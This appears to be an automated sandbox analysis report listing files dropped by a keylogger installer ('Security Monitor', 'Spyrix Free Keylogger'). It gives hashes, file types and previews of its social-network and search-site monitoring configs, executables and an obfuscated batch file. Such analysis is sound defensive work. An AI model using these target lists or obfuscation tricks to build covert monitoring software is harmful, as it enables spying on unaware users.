C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-O1D76.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	459
Entropy (8bit):	7.157014739512398
Encrypted:	false
SSDEEP:	12:6v/78/nhHoLgTdcsOkCuZ3I6xhC3kTGtjzx7:XdXau5I6pTi17
MD5:	73A35AA153A7310E1DE170CE339F0242
SHA1:	85016176CB165872D08073CB27F23600599F338C
SHA-256:	1B7F27805D3486ACC7D96371EA3E91436D9347D7D0E70ACE883E54BDF8ACCA40
SHA-512:	2EF8B50F7FB23D219DF2AD666665A90C18E83DE24685DD17107F09100E493611C480EC73CBDC3B5CFC07B6FE60CB74506E08F01C9C9144A1A1AD541AD6B6F36F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....:IDAT8O.SAr.0.._...<.+.-?(\..v..!QwW....Pf48...Z...w>..x....{\|..n.X.Y....m.....g..........._.. .+.~..Y.?Z ......D..C......J..n...B..a.l...............,F..()`....... [ND9.n....Sr... .....ke...'...!.K...y..TFSz.=....2.....ZQ..K...8..=.8Q@.Y.Z..y.D.a.\|...(....G.0.)...g`<D.....4TA_4u....N.zp.OF....\...#.N.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-Q2FK3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	414
Entropy (8bit):	6.921441707444873
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teNq0dooGB9bqqTLPolIae+w2iYjDbg2UOj93OFo4wrbp:6v/78/nilvunTLseF2iYjfg29VOFS
MD5:	6D7B39EE6BA125324EC0457FB8B1CF30
SHA1:	E7B708B0D544F6B3137AB7E06914C8F318859DB3
SHA-256:	7A9A198F92900BF042FEDB164367091853F9E3517B389197234889E68A05B04E
SHA-512:	14CFE6B76479E2BD27E8893E2096B1A27B9B8726E3D70F64F163BEAD669E06D793AD176DF19073ECD5D491E7386A66F74E7AE8734DAC56DD292E401BD2382033
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.T .q....U.Sk6.'.a5...o..............dHd....W...0s...E+)0`.. .IrA.P....h.y..v....Y.......gff.1H....n.O.^.6..I.e#;.....G. .....n3.v...Ov.1...@..0 .a.........S...a@$0.;g.B..f.6..x!...}.!..t\|........#...+..._..?..dL(.a..v.O...}.......F..8...P.3A6.'&..P.....e.K......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\facebook\is-VC4DR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 15 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	304
Entropy (8bit):	6.615232112735145
Encrypted:	false
SSDEEP:	6:6v/lhP8LMR/C+wZA3te4YeOiG/WrSUAHmrOk3I9/t6CEyO9hbp:6v/7V/nw5WGUAHmrJ3Wl3Ol
MD5:	7710D6BF6295D39378CE75797D7509B5
SHA1:	090E061712842B2611BDDF21DE8FDC016DE827AB
SHA-256:	3A098E07391825DB6349455DAF4215AE19C52A55B6838F7539FC1D439F5988A0
SHA-512:	725B1F1292B10C80FAF1B3F9799A8833866829687A798037FEA2477F8E567E077FD2868B1B177D74B7C8C86F501C8E9706733D600774BECB53141BD136C98F5B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............V%.....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.``........@..:;..A........w...'..5W...'....h.a...Pw0..lb 9..0..q.."..Z.~.9..C.....31....Dk.16..g....b.>.`#..;W.....A.1H=H.C....Pc...b.>. ..b)2........+4F....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\is-DP90R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Marks]
Category:	dropped
Size (bytes):	159
Entropy (8bit):	4.674458029739085
Encrypted:	false
SSDEEP:	3:91A2vTzyosXO/ovsh2vJ5Im5B9gHovNRN4o6bHiys6SIFv9oc:91A2vT+vm/h2v8ARNmi/6S+v9oc
MD5:	6BD299C4CBF0029EA3F2F85BE0268693
SHA1:	D45F93594FEEA321B778C691051CE9B47D13D480
SHA-256:	BB9DBEEE227D18FFB6BE8AE4C33D681CC8A04FF1120F69EBF73E98E4302C6051
SHA-512:	7EEDA815F4D91D0B588DA4B0F3EFB222CA189A8E42333B1664EC9520FD1BA68EF80ABC9F4B965CD5657A0334B8AED2C412DC79CEEF9EC34867CC429A51C1E95E
Malicious:	false
Reputation:	unknown
Preview:	[Guests]..ID="ok.ru/guests"..[Marks]..ID="ok.ru/marks"..[Friends]..ID="/friends"..[Photos]..ID="/photos"..[About]..ID="/about"..[Profiles]..ID="ok.ru/profile/"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\is-IAQ3P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [News]
Category:	dropped
Size (bytes):	859
Entropy (8bit):	4.858296034006616
Encrypted:	false
SSDEEP:	12:Ty3COfcKd063/4Ga1rmWCdmr1gm+amVyxpgmkmAEnnmmImC4dmEnq:+kKGQiC5Enrq
MD5:	4A6A1B208E79D27168441977D43897FC
SHA1:	FAE08C5EF8DB510F634E46623AB09C63EA9C3F8A
SHA-256:	F2B9D0C45FA2A9B15BB9694C26BD75B45B4E011B99D80604D2984C0F856B2AD9
SHA-512:	79E43D69F7973750B534BDE680380BC912B906F3D3D848255BA3F8ADE4DC7FAD460CD0FF14230AEAED4285F291D6510AF57FA1F9876ABEFDE1F6D56890B35D03
Malicious:	false
Reputation:	unknown
Preview:	[Welcome]..ID="facebook.com/?sk=welcome"..[News]..ID="facebook.com/?sk=nf"..[Messages]..ID="facebook.com/messages"..[Events]..ID="facebook.com/events"..[Find friends]..ID="facebook.com/find-friends/browser"..[Invite friends]..ID="facebook.com/?sk=ff"..[Friends]..ID="facebook.com/lists"..[Friends List]..ID="/friends?ft_ref=flsa"..[Groups]..ID="facebook.com/bookmarks/groups"..[Settings]..ID="facebook.com/settings?tab=account"..[Security]..ID="facebook.com/settings?tab=security"..[Notifications]..ID="facebook.com/settings?tab=notifications"..[Subscribers]..ID="facebook.com/settings?tab=subscribers"..[Apps]..ID="facebook.com/settings?tab=applications"..[Payments]..ID="facebook.com/settings?tab=payments"..[Facebook Ads]..ID="facebook.com/settings?tab=ads"..[Gifts]..ID="facebook.com/settings?tab=gifts"..[Privacy]..ID="facebook.com/settings/?tab=privacy"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\is-KSHIB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Friends]
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.685024049706956
Encrypted:	false
SSDEEP:	3:QRUXdrx9reugHovdMTaW4/d1amqKL946WImgK4/d1amqKLrjM+n:KOdrDeaMB4FQ7l9NgK4/dQ7r+n
MD5:	CFA4D0ED34E826F2A6A243ADCE69C272
SHA1:	F4C7EA1EFC0FD6A61706120C4BF66452418805EC
SHA-256:	9202BF8E81E98F492F5610A2F67E6CF8882890484F0F8E7B43EE9DA2D2372B70
SHA-512:	66663614DCBBC9E62E91A2B34B1518AD3EB7C78C39F8DA9523F1D17A7CBC3000EAC7F7373A698BF9F76A3B395EB857393225E4E77216EBEE06C83CF0D871FF88
Malicious:	false
Reputation:	unknown
Preview:	[Messages]..ID="vk.com/im"..[Friends]..ID="vk.com/friends"..[Notifications]..ID="vk.com/feed?section=notifications"..[Replies]..ID="vk.com/feed?section=replies"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\is-E95CV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Instagram]
Category:	dropped
Size (bytes):	2361
Entropy (8bit):	5.086790461308817
Encrypted:	false
SSDEEP:	48:lkYaqeR/Mfg1mg6kL33dMLoXL2MK7hWNPE0hx8wgOV+U3DkROxPDv:ukgEEx6O+m+YPFYyJ
MD5:	C846DA6EDAA3DA7B84D7C275232E7113
SHA1:	48EFA8A9F71BA06A8AEF67786F234CCFF43EBFF1
SHA-256:	4AAEB9FA982ADED9CE384AFDD72AD2D9F25F4D4803D29936D86F3836F71ED323
SHA-512:	69259712A33EEAAAB99503C95E8F5F5614ECBD300065EED89181A26DFF15621F69D7B995212EBD6062A739C0A05B0BFED11E5B367AE91A6D80895519F75CA455
Malicious:	false
Reputation:	unknown
Preview:	[Facebook]..ID="facebook.com"..NodeID=31..msgID="facebook.com/messages"..SearchID="facebook.com/search/results.php"..QueryID="?q="..LoginOk="facebook.com/?sk=welcome"..[Instagram]..ID="instagram.com"..NodeID=68..msgID=""..SearchID=""..QueryID=""..LoginOk=""..[Youtube]..ID="youtube.com"..NodeID=69..msgID=""..SearchID="youtube.com/results?search_query"..QueryID="?search_query"..LoginOk=""..[Twitter]..ID="twitter.com"..NodeID=33..msgID="twitter.com"..SearchID="twitter.com/i/#!/search"..QueryID="#!/search/"..LoginOk=""..[LinkedIn]..ID="linkedin.com"..NodeID=35..msgID="linkedin.com/msgToConns"..SearchID="linkedin.com/search"..QueryID="keywords="..LoginOk="linkedin.com/home"..[Myspace]..ID="myspace.com"..NodeID=32..msgID="http://www.myspace.com/my/mail"..SearchID="http://www.myspace.com/search/"..QueryID="?q="..LoginOk="myspace.com/home"..[VKontakte]..ID="vk.com"..NodeID=36..msgID="vk.com/im"..SearchID="http://vk.com/search"..QueryID="[q]="..LoginOk="vk.com/id"..[Odnoklassniki]..ID="ok.ru"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\is-UOAON.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.314915181326778
Encrypted:	false
SSDEEP:	3:LqRlJbXyi6AA:2lBrA
MD5:	D584582812D6A2E882BE885DD27E18E5
SHA1:	388346E2897C7849D8F7E38A2450377023503257
SHA-256:	63B34D170783C35985AB770AA19CE31E5AC8C90899423BE3A587B1CF17D417B8
SHA-512:	C057ED6B8AD5DB53BD6D4FC556E03F3D6607D06A35D4FE91BD16B39E2DC9822FC7F1C740BA89297D31F645047B7941DE1501115ED2159180BC41B4B37C9F1D83
Malicious:	false
Reputation:	unknown
Preview:	Facebook..Instagram..Youtube..Twitter..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\ru\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.327066369049407
Encrypted:	false
SSDEEP:	3:K26WLRAXXRlJ6AA:b6WL2XBldA
MD5:	CE9D18D694ABDCAC70A411D4D97C0231
SHA1:	F12E3CBE15AF7D09B9733E08C8CA2A7B8B934DBA
SHA-256:	BBF1063DC08DB46AA6A44034E46B917D3F0A7F95668854565EBE8DFE2B0CD7C1
SHA-512:	245E456B408CE7E7428F96C293E0FBABE1FFF54B0A877EFE9DE18F49B0D52CE5A361E250FF8122EE07EE7CE276D56DCB5865339CA69545034726699C6315A7FE
Malicious:	false
Reputation:	unknown
Preview:	VKontakte..Odnoklassniki..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\ru\is-M1G1D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	4.327066369049407
Encrypted:	false
SSDEEP:	3:K26WLRAXXRlJ6AA:b6WL2XBldA
MD5:	CE9D18D694ABDCAC70A411D4D97C0231
SHA1:	F12E3CBE15AF7D09B9733E08C8CA2A7B8B934DBA
SHA-256:	BBF1063DC08DB46AA6A44034E46B917D3F0A7F95668854565EBE8DFE2B0CD7C1
SHA-512:	245E456B408CE7E7428F96C293E0FBABE1FFF54B0A877EFE9DE18F49B0D52CE5A361E250FF8122EE07EE7CE276D56DCB5865339CA69545034726699C6315A7FE
Malicious:	false
Reputation:	unknown
Preview:	VKontakte..Odnoklassniki..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\zh\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.289760053836067
Encrypted:	false
SSDEEP:	3:GAwEHRlJ6AA:rldA
MD5:	A93742C5D8E593F07A5A9951CC0C9B8F
SHA1:	775714482966FE1FED5185AC0C73A6D44255AB29
SHA-256:	A15CF44B89919588E0C5D703E83C6E2D4E74C4F47D76EEB3CFB8CB6AD9821A5E
SHA-512:	C4899FB5BA32AE6D60D2AB9D0BEF08D05C0B9789969FDD4C015CA9B07B655183F2C70565EEED9A76FC915DCF80149961CBAFF7240F059331A7A872897E5BBEF3
Malicious:	false
Reputation:	unknown
Preview:	QQZone..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\zh\is-133PP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.289760053836067
Encrypted:	false
SSDEEP:	3:GAwEHRlJ6AA:rldA
MD5:	A93742C5D8E593F07A5A9951CC0C9B8F
SHA1:	775714482966FE1FED5185AC0C73A6D44255AB29
SHA-256:	A15CF44B89919588E0C5D703E83C6E2D4E74C4F47D76EEB3CFB8CB6AD9821A5E
SHA-512:	C4899FB5BA32AE6D60D2AB9D0BEF08D05C0B9789969FDD4C015CA9B07B655183F2C70565EEED9A76FC915DCF80149961CBAFF7240F059331A7A872897E5BBEF3
Malicious:	false
Reputation:	unknown
Preview:	QQZone..Facebook..Instagram..Youtube..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SearchEn\SearchEn.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Bing]
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.907393652480167
Encrypted:	false
SSDEEP:	6:q7HkVMKScEhBLLPWKBFHxpZ8FEh6XQcU0socpvIEyyJFnHn:q7EmuEhBHTDS+Ifcph15Hn
MD5:	B53F62F901D117D87C4F2C1C68D8E092
SHA1:	9DC2741DF0AB9D2B8E3D533E980E6DF71FD371ED
SHA-256:	62A43DD8AE4C377B91DB18E5CA4DFD7FDBA2834FF4AF36F76AD2AA4BD8715650
SHA-512:	22DA0AA723324DF15FEC0231A7CB791541CA5F844E51E55DBFC3654E5D56F943B837E4098613E804BD9729AD1B630937336D9EDBC8259FC34EC5C7783ACC290C
Malicious:	false
Reputation:	unknown
Preview:	[Google]..ID="google."..QueryID="q="..[Bing]..ID="www.bing.com"..QueryID="search?q="..[Yahoo]..ID="search.yahoo.com"..QueryID="p="..[AOL]..ID="search.aol.com"..QueryID="&q="..[Yandex]..ID="yandex.ru/"..QueryID="text="..[MAIL.RU]..ID="go.mail.ru/"..QueryID="q="..[Rambler]..ID=".rambler.ru/"..QueryID="?query="..[Twitter]..ID="twitter.com/i/#!/search"..QueryID="?q="..[Baidu]..ID=".baidu."..QueryID="wd="

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SearchEn\is-AO39N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Bing]
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.907393652480167
Encrypted:	false
SSDEEP:	6:q7HkVMKScEhBLLPWKBFHxpZ8FEh6XQcU0socpvIEyyJFnHn:q7EmuEhBHTDS+Ifcph15Hn
MD5:	B53F62F901D117D87C4F2C1C68D8E092
SHA1:	9DC2741DF0AB9D2B8E3D533E980E6DF71FD371ED
SHA-256:	62A43DD8AE4C377B91DB18E5CA4DFD7FDBA2834FF4AF36F76AD2AA4BD8715650
SHA-512:	22DA0AA723324DF15FEC0231A7CB791541CA5F844E51E55DBFC3654E5D56F943B837E4098613E804BD9729AD1B630937336D9EDBC8259FC34EC5C7783ACC290C
Malicious:	false
Reputation:	unknown
Preview:	[Google]..ID="google."..QueryID="q="..[Bing]..ID="www.bing.com"..QueryID="search?q="..[Yahoo]..ID="search.yahoo.com"..QueryID="p="..[AOL]..ID="search.aol.com"..QueryID="&q="..[Yandex]..ID="yandex.ru/"..QueryID="text="..[MAIL.RU]..ID="go.mail.ru/"..QueryID="q="..[Rambler]..ID=".rambler.ru/"..QueryID="?query="..[Twitter]..ID="twitter.com/i/#!/search"..QueryID="?q="..[Baidu]..ID=".baidu."..QueryID="wd="

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\is-SUR0N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (4429), with CRLF line terminators
Category:	dropped
Size (bytes):	12672
Entropy (8bit):	4.945624942122352
Encrypted:	false
SSDEEP:	192:PEOFXvauPDJG6oOmEvV8OOdc4QlyjzOsXY7g0jCsSbC2FRSnK:8OhvXFG6oORVzf4Wy3YjkbCORSnK
MD5:	EAB386B915F70A4A1F89FE9FF6869FE9
SHA1:	C4FAAEC24E3A335D855347DFABDA65D667FF45AB
SHA-256:	A0BB8DA59EA887B970CAB6DDACB14D3982A04D40FB40C391E7C043E0B48C940C
SHA-512:	FBF63960ADE19D872597158E99DE499C7DC080E64E2B7F921D8A3BB96A0A77018C8DC0B0DD9E8B8213F06BD6B5F5279DBC5180DC39A1A64D55A3F503B17B307B
Malicious:	false
Reputation:	unknown
Preview:	.[Social Networks]..0=facebook.com..1=myspace.com..2=tiwitter.com..3=linkedin.com..4=bebo.com..5=friendster.com..6=hi5.com..7=habbo.com..8=ning.com..9=classmates.com..10=tagged.com..11=myyearbook.com..12=meetup.com..13=mylife.com..14=fixter.com..15=myheritage.com..16=multiply.com..17=orkut.com..18=badoo.com..19=gaiaonline.com..20=blackplanet.com..21=skyrock.com..22=perfspot.com..23=zorpia.com..24=tuenti.com..25=nk.pl..26=irc-galleria.net..27=studivz.net..28=xing.com..29=renren.com..30=kaixin001.com..31=hyves.nl..32=millatfacebook.com..33=ibibo.com..34=sonico.com..35=wer-kennt-wen.de..36=nate.com..37=mixi.jp..38=iwiw.hu..39=plus.google.com..40=vk.com..41=odnoklassniki.ru..42=pinterest.com..43=livejournal.com..44=meetup.com..45=blogspot.com..46=tumblr.com..47=instagram.com..48=blogger.com....[Dating Sites]..0=match.com..1=plentyoffish.com..2=zoosk.com..3=eharmony.com..4=singlesnet.com..5=okcupid.com..6=true.com..7=christianmingle.com..8=cupid.com..9=datehookup.com..10=chemistry.com..11

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\url_cat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (4429), with CRLF line terminators
Category:	dropped
Size (bytes):	12672
Entropy (8bit):	4.945624942122352
Encrypted:	false
SSDEEP:	192:PEOFXvauPDJG6oOmEvV8OOdc4QlyjzOsXY7g0jCsSbC2FRSnK:8OhvXFG6oORVzf4Wy3YjkbCORSnK
MD5:	EAB386B915F70A4A1F89FE9FF6869FE9
SHA1:	C4FAAEC24E3A335D855347DFABDA65D667FF45AB
SHA-256:	A0BB8DA59EA887B970CAB6DDACB14D3982A04D40FB40C391E7C043E0B48C940C
SHA-512:	FBF63960ADE19D872597158E99DE499C7DC080E64E2B7F921D8A3BB96A0A77018C8DC0B0DD9E8B8213F06BD6B5F5279DBC5180DC39A1A64D55A3F503B17B307B
Malicious:	false
Reputation:	unknown
Preview:	.[Social Networks]..0=facebook.com..1=myspace.com..2=tiwitter.com..3=linkedin.com..4=bebo.com..5=friendster.com..6=hi5.com..7=habbo.com..8=ning.com..9=classmates.com..10=tagged.com..11=myyearbook.com..12=meetup.com..13=mylife.com..14=fixter.com..15=myheritage.com..16=multiply.com..17=orkut.com..18=badoo.com..19=gaiaonline.com..20=blackplanet.com..21=skyrock.com..22=perfspot.com..23=zorpia.com..24=tuenti.com..25=nk.pl..26=irc-galleria.net..27=studivz.net..28=xing.com..29=renren.com..30=kaixin001.com..31=hyves.nl..32=millatfacebook.com..33=ibibo.com..34=sonico.com..35=wer-kennt-wen.de..36=nate.com..37=mixi.jp..38=iwiw.hu..39=plus.google.com..40=vk.com..41=odnoklassniki.ru..42=pinterest.com..43=livejournal.com..44=meetup.com..45=blogspot.com..46=tumblr.com..47=instagram.com..48=blogger.com....[Dating Sites]..0=match.com..1=plentyoffish.com..2=zoosk.com..3=eharmony.com..4=singlesnet.com..5=okcupid.com..6=true.com..7=christianmingle.com..8=cupid.com..9=datehookup.com..10=chemistry.com..11

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	38533120
Entropy (8bit):	6.659117982180381
Encrypted:	false
SSDEEP:	393216:lw4FxslQp+QsIjKvL/RouclpOaPdvmtzzGnDHmgRBbxr5U0zvOaHxA2KZc4P9QpC:lw4fslOPKVouExr5U0zGaHxAJkuC+d7
MD5:	63C6697F6F8C4DE12A18633A65A6DD50
SHA1:	442715CE26B000A34E25DBE9BED05863C2488096
SHA-256:	2E92C42276AEA8D407AE41B3D8B63E6C39F33EC8D1CEEB4C632B54073B56BDA3
SHA-512:	50B6035BA8C2B4F871CD2CEF057A4CF21433999E6EBC2566DD92843D4F3DFFEF00198FA80F3D34424FAF049BEAFAFA637DB1FD061251A7D10FC82735E0313A92
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........................&...>J.............P....@..........................P........L...@... ......................0..G........C...........................p..(...........................L-.......................................................text...h...........................`..`.rodata.L..........................`.``.rotext..............t.............. .P`.data...\|U...P...V...*..............@.p..rdata...k.......k.................@..@.bss........@2.......................`..edata..G....0........2.............@.0@.idata...C.......D....A.............@.0..CRT....4....P........B.............@.0..tls.........`........B.............@.0..reloc..(....p........B.............@.0B........................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\iMsgInfo.bmp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PC bitmap, Windows 3.x format, 48 x 48 x 24, resolution 2835 x 2835 px/m, cbSize 6966, bits offset 54
Category:	dropped
Size (bytes):	6966
Entropy (8bit):	5.257630429556265
Encrypted:	false
SSDEEP:	96:qJsQ8ADU7ROZX0dzdVry5xFdakbSYiq3G4wcwcOIqS:cCA5ZX4zdc5xFdakbSYiqWCjd
MD5:	B83D443D2415453D2BD5BA3D64233AF0
SHA1:	71D6B4D21842B2E2214CA09A82BD0301BD02796F
SHA-256:	99D10B82F2BD584C5B6554514B1A747EC4DD9D8131D3B397244B3D36084D3CA1
SHA-512:	C7D2A341F45CF5F858EF28341574E26D5F6C4D2F7FCB32F6A490E5F4F1DF6B6E1A7D1B82329162C46F2734EB446298741A3B82F6D961AC82C376FDF767FA0F22
Malicious:	false
Reputation:	unknown
Preview:	BM6.......6...(...0...0...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j..U..O.z>.z>..P..V..m................................................................................................................c.{4..B..P..b.e.v.v.f..b..Q..C.{5..d................................................................................................K..D..`.y.................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\id.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	4.432468112054125
Encrypted:	false
SSDEEP:	6:hmRBMeZSMo29ncrTMo29ncrZHbMo29ncrhMo29ncrXMo29ncrMMo29ncQXp23dUy:wbgK6fK6hbK6VK6bK6IK6CU9SL/A
MD5:	498851BBE00277D04DB98A521FE760F7
SHA1:	671A1E5F003A81734DCF193321F60AC0C7AB1739
SHA-256:	1F5C9CB793AAC6CB8B677222C0689A955CE2A52B4022E6179AB70EB8A4261513
SHA-512:	98C1DC048EDDFCB72EDA4DE75C8237FF19A4B8AFA9D31572ED608BF8018713AE4073F82F0CF838B09CE4F51746A3B17DC88619ACC7C2C6FF7453FE885059AE50
Malicious:	false
Reputation:	unknown
Preview:	@echo off..set u_id=..cmd /c exit 83..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 112..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 121..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 114..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 105..set u_id=%u_id%%=exitcodeAscii%..cmd /c exit 120..set u_id=%u_id%%=exitcodeAscii%..set prg_id=%u_id% Free Keylogger..set d_id=dashboard..set p_id=https..set e_id=xe

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-1I5NJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	826775
Entropy (8bit):	6.520580307753605
Encrypted:	false
SSDEEP:	24576:QJCoOO8Mh2X8Vy0JHfv3kDpigeLKh2R6fFQVp:QL8MFVym/kDpitLKZy
MD5:	16A1612789DC9063EBEA1CB55433B45B
SHA1:	438FDE2939BBB9B5B437F64F21C316C17CE4A7F6
SHA-256:	6DEAEC2F96C8A1C20698A93DDD468D5447B55AC426DC381EEF5D91B19953BB7B
SHA-512:	D727CE8CD793C09A8688ACCB7A2EB5D8F84CC198B8E9D51C21E2DFB11D850F3AC64A58D07FF7FE9D1A2FDB613567E4790866C08A423176216FF310BF24A5A7E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...TM<W....*......!.....j.........................a.........................`.......#........ .........................................x.......................@/..................................................................................text...,i.......j..................`.P`.data................p..............@.`..rdata..............................@.`@.bss..................................`..edata...............f..............@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...x...........................@.0..reloc..@/.......0..................@.0B/4........... ......................@.@B/19.........0......................@..B/31..................j..............@..B/45.................................@..B/57.................................@.0B/70.....i.... ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-24VMR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	330752
Entropy (8bit):	6.515569416355077
Encrypted:	false
SSDEEP:	6144:67uz8VUGgQvLpVZ0hRBbV94fT5fyEH1iiDDR/WzdHAjdqqI4PFtK9S7/Q0RHK9mo:uuwUGggLpVZ0NbV9CNfyEHAiDDR/Wzdt
MD5:	CB66A1FEC9236CD46E2A3E5A00D887A5
SHA1:	531113059786F73A8C2376E08A12E62970B41E51
SHA-256:	73234A2B168E2CA92B2E09346C48FB85CF10085FAF76D7923257986B3F528E1C
SHA-512:	F5E3AD6B8FD6DCE55C0596BAF6961F86CD98598075899C02FB0B5C32FAF26FEA80C7C348C08D5D5FE41D89D61D869CF27AB230962A896D085206A895881CD926
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
